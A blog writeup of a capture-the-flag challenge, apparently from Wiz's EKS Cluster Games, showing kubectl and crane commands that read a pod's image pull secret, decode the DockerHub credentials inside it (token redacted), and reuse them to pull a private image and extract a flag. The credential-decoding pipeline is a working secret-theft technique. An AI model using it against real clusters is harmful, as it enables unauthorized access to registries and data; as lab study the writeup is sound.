github rss
EKS Cluster Games: Challenge 2 (SPOILERS)
Nov 2, 2023
2 minutes read

This is a writeup of how I solved part two of the EKS Cluster Games. Huge thanks to Wiz for putting this together.

If you haven’t yet, you should start with challenge one.

Challenge Two

In this challenge, the hint tells us to check the container registries.

We can use our kubectl access to see a pod running and list the image it’s running:

root@wiz-eks-challenge:~# kubectl get pods
NAME                    READY   STATUS    RESTARTS   AGE
database-pod-2c9b3a4e   1/1     Running   0          26h
root@wiz-eks-challenge:~# kubectl get pod database-pod-2c9b3a4e -o yaml
apiVersion: v1
kind: Pod
metadata:
  name: database-pod-2c9b3a4e
  namespace: challenge2
  [...]
spec:
  containers:
  - image: eksclustergames/base_ext_image
    [...]
  [...]
  imagePullSecrets:
  - name: registry-pull-secrets-780bab1d
  [...]
status:
  [...]

This time we don’t have permission to list secrets:

root@wiz-eks-challenge:~# kubectl get secrets
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:challenge2:service-account-challenge2" cannot list resource "secrets" in API group "" in the namespace "challenge2"

Pulling the Image

It seems like we should look at the eksclustergames/base_ext_image image we saw in the pod. If we try to pull down this image with crane, we get a permission error:

root@wiz-eks-challenge:~# crane pull eksclustergames/base_ext_image /tmp/image.tar
Error: GET https://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest: UNAUTHORIZED: authentication required; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]

Going back to the pod definition, we can find the name of an image pull secret:

root@wiz-eks-challenge:~# kubectl get pods -o json | jq -r '.items[].spec.imagePullSecrets[].name'
registry-pull-secrets-780bab1d

It turns out that even though we don’t have list permission on all secrets, we do have access to this particular secret:

root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d
 NAME                             TYPE                             DATA   AGE
registry-pull-secrets-780bab1d   kubernetes.io/dockerconfigjson   1      26h

After a little futzing around we can pull out the DockerHub username and password and pass them into crane auth login:

root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o json | jq -r '.data[".dockerconfigjson"]' | base64 -d | jq -r '.auths["index.docker.io/v1/"].auth' | base64 -d
eksclustergames:dckr_pat_[...]

root@wiz-eks-challenge:~# crane auth login docker.io -u eksclustergames -p dckr_pat_[...]                        
2023/11/02 16:03:06 logged in via /home/user/.docker/config.json

Now we can pull the image using crane and start poking around in it:

root@wiz-eks-challenge:~# crane pull eksclustergames/base_ext_image /tmp/image.tar
root@wiz-eks-challenge:~# cd /tmp
root@wiz-eks-challenge:/tmp# tar xvf image.tar 
sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867
3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz
193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
manifest.json

Finding the Flag

Each of the nested *.tar.gz files is one of the image layers. One of them is giant and uninteresting, but the other one has a file flag.txt:

root@wiz-eks-challenge:/tmp# tar tvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
drwxr-xr-x 0/0               0 2023-11-01 13:32 etc/
-rw-r--r-- 0/0             124 2023-11-01 13:32 flag.txt
drwxr-xr-x 0/0               0 2023-11-01 13:32 proc/
-rwxr-xr-x 0/0               0 1970-01-01 00:00 proc/.wh..wh..opq
drwxr-xr-x 0/0               0 2023-11-01 13:32 sys/
-rwxr-xr-x 0/0               0 1970-01-01 00:00 sys/.wh..wh..opq

root@wiz-eks-challenge:/tmp# tar -O flag.txt -xf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
wiz_eks_challenge{🚩🚩🚩🚩🚩🚩🚩}

Next

Notes for challenge three.


Back to posts